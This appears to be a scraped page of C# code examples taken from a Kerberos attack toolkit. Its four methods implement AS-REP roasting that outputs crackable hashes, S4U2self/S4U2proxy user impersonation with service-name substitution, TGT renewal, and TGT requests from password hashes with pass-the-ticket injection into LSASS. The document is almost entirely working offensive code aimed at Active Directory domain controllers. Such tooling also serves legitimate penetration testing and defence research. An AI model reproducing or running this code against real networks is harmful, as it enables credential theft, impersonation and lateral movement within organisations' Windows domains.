Exemplo n.º 1
0
        public static void GetASRepHash(string userName, string domain, string domainController = "", string format = "")
        {
            // roast AS-REPs for users without pre-authentication enabled
            Console.WriteLine("[*] Action: AS-REP Roasting");

            string dcIP = Networking.GetDCIP(domainController);

            if (string.IsNullOrEmpty(dcIP))
            {
                return;
            }
            Console.WriteLine("[*] Building AS-REQ (w/o preauth) for: '{0}\\{1}'", domain, userName);
            byte[] reqBytes = AS_REQ.NewASReq(userName, domain, Interop.KERB_ETYPE.rc4_hmac);
            byte[] response = Networking.SendBytes(dcIP, 88, reqBytes);
            if (null == response)
            {
                return;
            }
            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response, false);
            // check the response value
            int responseTag = responseAsn.TagValue;

            switch (responseTag)
            {
            case 11:
                Console.WriteLine("[+] AS-REQ w/o preauth successful!");
                // parse the response to an AS-REP
                AS_REP rep = new AS_REP(response);
                // output the hash of the encrypted KERB-CRED in a crackable hash form
                string repHash = BitConverter.ToString(rep.enc_part.cipher).Replace("-", string.Empty);
                repHash = repHash.Insert(32, "$");
                string hashString = (format == "john")
                        ? string.Format("$krb5asrep${0}@{1}:{2}", userName, domain, repHash)
                                    // eventual hashcat format
                        : string.Format("$krb5asrep${0}$*{1}${2}*${3}${4}",
                                        (int)Interop.KERB_ETYPE.rc4_hmac, userName, domain, repHash.Substring(0, 32), repHash.Substring(32));
                Console.WriteLine("[*] AS-REP hash:\r\n");
                // display the base64 of a hash, columns of 80 chararacters
                foreach (string line in Helpers.Split(hashString, 80))
                {
                    Console.WriteLine("      {0}", line);
                }
                return;

            case 30:
                Helpers.DisplayKerberosError(responseAsn);
                return;

            default:
                Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
                return;
            }
        }
Exemplo n.º 2
0
        public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt,
                                   string domainController = "", string altService = "")
        {
            Console.WriteLine("[*] Action: S4U\r\n");
            // extract out the info needed for the TGS-REQ/S4U2Self execution
            string userName = kirbi.EncryptedPart.ticket_info[0].pname.name_string[0];
            string domain   = kirbi.EncryptedPart.ticket_info[0].prealm;
            Ticket ticket   = kirbi.Tickets[0];

            byte[]             clientKey = kirbi.EncryptedPart.ticket_info[0].key.keyvalue;
            Interop.KERB_ETYPE etype     = (Interop.KERB_ETYPE)kirbi.EncryptedPart.ticket_info[0].key.keytype;
            string             dcIP      = Networking.GetDCIP(domainController);

            if (String.IsNullOrEmpty(dcIP))
            {
                return;
            }
            Console.WriteLine("[*] Building S4U2self request for: '{0}\\{1}'", domain, userName);
            Console.WriteLine("[*]   Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN);
            if (!string.IsNullOrEmpty(altService))
            {
                string[] altSnames = altService.Split(',');
                Console.WriteLine((1 == altSnames.Length)
                    ? "[*]   Final ticket will be for the alternate service '{0}'"
                    : "[*]   Final tickets will be for the alternate services '{0}'",
                                  altService);
            }
            byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype,
                                                false, targetUser);
            Console.WriteLine("[*] Sending S4U2self request");
            byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes);
            if (null == response)
            {
                return;
            }
            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response, false);
            // check the response value
            int responseTag = responseAsn.TagValue;

            switch (responseTag)
            {
            case 13:
                Console.WriteLine("[+] S4U2self success!");
                // parse the response to an TGS-REP
                TGS_REP rep = new TGS_REP(responseAsn);
                // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
                byte[]        outBytes   = Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher);
                AsnElt        ae         = AsnElt.Decode(outBytes, false);
                EncKDCRepPart encRepPart = new EncKDCRepPart(ae.FirstElement);
                // TODO: ensure the cname contains the name of the user! otherwise s4u not supported
                Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN);
                TGS_REQ s4u2proxyReq = new TGS_REQ();
                PA_DATA padata       = new PA_DATA(domain, userName, ticket, clientKey, etype);
                s4u2proxyReq.padata.Add(padata);
                PA_DATA pac_options = new PA_DATA(false, false, false, true);
                s4u2proxyReq.padata.Add(pac_options);
                s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CNAMEINADDLTKT;
                s4u2proxyReq.req_body.realm      = domain;
                string[] parts      = targetSPN.Split('/');
                string   serverName = parts[1];
                s4u2proxyReq.req_body.sname.name_type = 2;
                // the sname
                s4u2proxyReq.req_body.sname.name_string.Add(parts[0]);
                // the server
                s4u2proxyReq.req_body.sname.name_string.Add(serverName);
                // supported encryption types
                s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
                s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
                s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
                // add in the ticket from the S4U2self response
                s4u2proxyReq.req_body.additional_tickets.Add(rep.ticket);
                byte[] s4ubytes = s4u2proxyReq.Encode().Encode();
                Console.WriteLine("[*] Sending S4U2proxy request");
                byte[] response2 = Networking.SendBytes(dcIP, 88, s4ubytes);
                if (null == response2)
                {
                    return;
                }
                // decode the supplied bytes to an AsnElt object
                //  false == ignore trailing garbage
                AsnElt responseAsn2 = AsnElt.Decode(response2, false);
                // check the response value
                int responseTag2 = responseAsn2.TagValue;
                switch (responseTag2)
                {
                case 13:
                    Console.WriteLine("[+] S4U2proxy success!");
                    // parse the response to an TGS-REP
                    TGS_REP rep2 = new TGS_REP(responseAsn2);
                    // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
                    EncKDCRepPart encRepPart2 = new EncKDCRepPart(
                        AsnElt.Decode(
                            Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher), false)
                        .FirstElement);
                    KRB_CRED    cred;
                    KrbCredInfo info;
                    byte[]      kirbiBytes;
                    if (!string.IsNullOrEmpty(altService))
                    {
                        string[] altSnames = altService.Split(',');
                        foreach (string altSname in altSnames)
                        {
                            // now build the final KRB-CRED structure with one or more alternate snames
                            cred = new KRB_CRED();
                            // since we want an alternate sname, first substitute it into the ticket structure
                            rep2.ticket.sname.name_string[0] = altSname;
                            // add the ticket
                            cred.Tickets.Add(rep2.ticket);
                            // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
                            info = new KrbCredInfo();
                            // [0] add in the session key
                            info.key.keytype  = encRepPart2.key.keytype;
                            info.key.keyvalue = encRepPart2.key.keyvalue;
                            // [1] prealm (domain)
                            info.prealm = encRepPart2.realm;
                            // [2] pname (user)
                            info.pname.name_type   = rep2.cname.name_type;
                            info.pname.name_string = rep2.cname.name_string;
                            // [3] flags
                            info.flags = encRepPart2.flags;
                            // [4] authtime (not required)
                            // [5] starttime
                            info.starttime = encRepPart2.starttime;
                            // [6] endtime
                            info.endtime = encRepPart2.endtime;
                            // [7] renew-till
                            info.renew_till = encRepPart2.renew_till;
                            // [8] srealm
                            info.srealm = encRepPart2.realm;
                            // [9] sname
                            info.sname.name_type   = encRepPart2.sname.name_type;
                            info.sname.name_string = encRepPart2.sname.name_string;
                            // if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED
                            Console.WriteLine("[*] Substituting alternative service name '{0}'", altSname);
                            info.sname.name_string[0] = altSname;
                            // add the ticket_info into the cred object
                            cred.EncryptedPart.ticket_info.Add(info);
                            kirbiBytes = cred.Encode().Encode();
                            Helpers.DisplayKerberosTicket(kirbiBytes);
                            if (ptt)
                            {
                                // pass-the-ticket -> import into LSASS
                                LSA.ImportTicket(kirbiBytes);
                            }
                        }
                        return;
                    }
                    // now build the final KRB-CRED structure, no alternate snames
                    cred = new KRB_CRED();
                    // if we want an alternate sname, first substitute it into the ticket structure
                    if (!string.IsNullOrEmpty(altService))
                    {
                        rep2.ticket.sname.name_string[0] = altService;
                    }
                    // add the ticket
                    cred.Tickets.Add(rep2.ticket);
                    // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
                    info = new KrbCredInfo();
                    // [0] add in the session key
                    info.key.keytype  = encRepPart2.key.keytype;
                    info.key.keyvalue = encRepPart2.key.keyvalue;
                    // [1] prealm (domain)
                    info.prealm = encRepPart2.realm;
                    // [2] pname (user)
                    info.pname.name_type   = rep2.cname.name_type;
                    info.pname.name_string = rep2.cname.name_string;
                    // [3] flags
                    info.flags = encRepPart2.flags;
                    // [4] authtime (not required)
                    // [5] starttime
                    info.starttime = encRepPart2.starttime;
                    // [6] endtime
                    info.endtime = encRepPart2.endtime;
                    // [7] renew-till
                    info.renew_till = encRepPart2.renew_till;
                    // [8] srealm
                    info.srealm = encRepPart2.realm;
                    // [9] sname
                    info.sname.name_type   = encRepPart2.sname.name_type;
                    info.sname.name_string = encRepPart2.sname.name_string;
                    // add the ticket_info into the cred object
                    cred.EncryptedPart.ticket_info.Add(info);
                    kirbiBytes = cred.Encode().Encode();
                    Helpers.DisplayKerberosTicket(kirbiBytes);
                    if (ptt)
                    {
                        // pass-the-ticket -> import into LSASS
                        LSA.ImportTicket(kirbiBytes);
                    }
                    return;

                case 30:
                    // parse the response to an KRB-ERROR
                    Helpers.DisplayKerberosError(responseAsn);
                    return;

                default:
                    Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
                    return;
                }

            case 30:
                // parse the response to an KRB-ERROR
                Helpers.DisplayKerberosError(responseAsn);
                return;

            default:
                Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
                return;
            }
        }
Exemplo n.º 3
0
        public static byte[] TGT(string userName, string domain, Ticket providedTicket, byte[] clientKey,
                                 Interop.KERB_ETYPE etype, bool ptt, string domainController = "", bool display = true)
        {
            if (display)
            {
                Console.WriteLine("[*] Action: Renew TGT\r\n");
            }
            string dcIP = Networking.GetDCIP(domainController, display);

            if (string.IsNullOrEmpty(dcIP))
            {
                return(null);
            }
            if (display)
            {
                Console.WriteLine("[*] Building TGS-REQ renewal for: '{0}\\{1}'", domain, userName);
            }
            byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, "krbtgt", providedTicket, clientKey, etype, true);
            byte[] response = Networking.SendBytes(dcIP.ToString(), 88, tgsBytes);
            if (null == response)
            {
                return(null);
            }
            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response, false);
            // check the response value
            int responseTag = responseAsn.TagValue;

            switch (responseTag)
            {
            case 13:
                Console.WriteLine("[+] TGT renewal request successful!");
                // parse the response to an TGS-REP
                TGS_REP rep = new TGS_REP(responseAsn);
                // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
                EncKDCRepPart encRepPart = new EncKDCRepPart(
                    AsnElt.Decode(
                        Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher),
                        false)
                    .FirstElement);
                // now build the final KRB-CRED structure
                KRB_CRED cred = new KRB_CRED();
                // add the ticket
                cred.Tickets.Add(rep.ticket);
                // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
                KrbCredInfo info = new KrbCredInfo();
                // [0] add in the session key
                info.key.keytype  = encRepPart.key.keytype;
                info.key.keyvalue = encRepPart.key.keyvalue;
                // [1] prealm (domain)
                info.prealm = encRepPart.realm;
                // [2] pname (user)
                info.pname.name_type   = rep.cname.name_type;
                info.pname.name_string = rep.cname.name_string;
                // [3] flags
                info.flags = encRepPart.flags;
                // [4] authtime (not required)
                // [5] starttime
                info.starttime = encRepPart.starttime;
                // [6] endtime
                info.endtime = encRepPart.endtime;
                // [7] renew-till
                info.renew_till = encRepPart.renew_till;
                // [8] srealm
                info.srealm = encRepPart.realm;
                // [9] sname
                info.sname.name_type   = encRepPart.sname.name_type;
                info.sname.name_string = encRepPart.sname.name_string;
                // add the ticket_info into the cred object
                cred.EncryptedPart.ticket_info.Add(info);
                byte[] kirbiBytes = cred.Encode().Encode();
                if (display)
                {
                    Helpers.DisplayKerberosTicket(kirbiBytes);
                    if (ptt)
                    {
                        // pass-the-ticket -> import into LSASS
                        LSA.ImportTicket(kirbiBytes);
                    }
                }
                return(kirbiBytes);

            case 30:
                Helpers.DisplayKerberosError(responseAsn);
                return(null);

            default:
                Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
                return(null);
            }
        }
Exemplo n.º 4
0
        public static byte[] TGT(string userName, string domain, string keyString,
                                 Interop.KERB_ETYPE etype, bool ptt, string domainController = "", uint luid = 0)
        {
            Console.WriteLine("[*] Action: Ask TGT\r\n");
            Console.WriteLine("[*] Using {0} hash: {1}", etype, keyString);

            if (luid != 0)
            {
                Console.WriteLine("[*] Target LUID : {0}", luid);
            }
            string dcIP = Networking.GetDCIP(domainController);

            if (String.IsNullOrEmpty(dcIP))
            {
                return(null);
            }
            Console.WriteLine("[*] Building AS-REQ (w/ preauth) for: '{0}\\{1}'", domain, userName);
            byte[] reqBytes = AS_REQ.NewASReq(userName, domain, keyString, etype);
            byte[] response = Networking.SendBytes(dcIP, 88, reqBytes);
            if (null == response)
            {
                return(null);
            }
            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response, false);
            // check the response value
            int responseTag = responseAsn.TagValue;

            switch (responseTag)
            {
            case 11:
                Console.WriteLine("[+] TGT request successful!");
                // parse the response to an AS-REP
                AS_REP rep = new AS_REP(responseAsn);
                // convert the key string to bytes
                byte[] key = Helpers.StringToByteArray(keyString);
                // decrypt the enc_part containing the session key/etc.
                // TODO: error checking on the decryption "failing"...
                byte[] outBytes;
                if (etype == Interop.KERB_ETYPE.rc4_hmac)
                {
                    // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
                    outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
                }
                else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)
                {
                    // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3
                    outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
                }
                else
                {
                    Console.WriteLine("\r\n[X] Encryption type \"{0}\" not currently supported", etype);
                    return(null);
                }
                AsnElt        ae         = AsnElt.Decode(outBytes, false);
                EncKDCRepPart encRepPart = new EncKDCRepPart(ae.FirstElement);

                // now build the final KRB-CRED structure
                KRB_CRED cred = new KRB_CRED();

                // add the ticket
                cred.Tickets.Add(rep.ticket);

                // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
                KrbCredInfo info = new KrbCredInfo();

                // [0] add in the session key
                info.key.keytype  = encRepPart.key.keytype;
                info.key.keyvalue = encRepPart.key.keyvalue;
                // [1] prealm (domain)
                info.prealm = encRepPart.realm;
                // [2] pname (user)
                info.pname.name_type   = rep.cname.name_type;
                info.pname.name_string = rep.cname.name_string;
                // [3] flags
                info.flags = encRepPart.flags;
                // [4] authtime (not required)
                // [5] starttime
                info.starttime = encRepPart.starttime;
                // [6] endtime
                info.endtime = encRepPart.endtime;
                // [7] renew-till
                info.renew_till = encRepPart.renew_till;
                // [8] srealm
                info.srealm = encRepPart.realm;
                // [9] sname
                info.sname.name_type   = encRepPart.sname.name_type;
                info.sname.name_string = encRepPart.sname.name_string;

                // add the ticket_info into the cred object
                cred.EncryptedPart.ticket_info.Add(info);
                byte[] kirbiBytes = cred.Encode().Encode();
                Helpers.DisplayKerberosTicket(kirbiBytes);
                if (ptt || (0 != luid))
                {
                    // pass-the-ticket -> import into LSASS
                    LSA.ImportTicket(kirbiBytes, luid);
                }
                return(kirbiBytes);

            case 30:
                Helpers.DisplayKerberosError(responseAsn);
                return(null);

            default:
                Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
                return(null);
            }
        }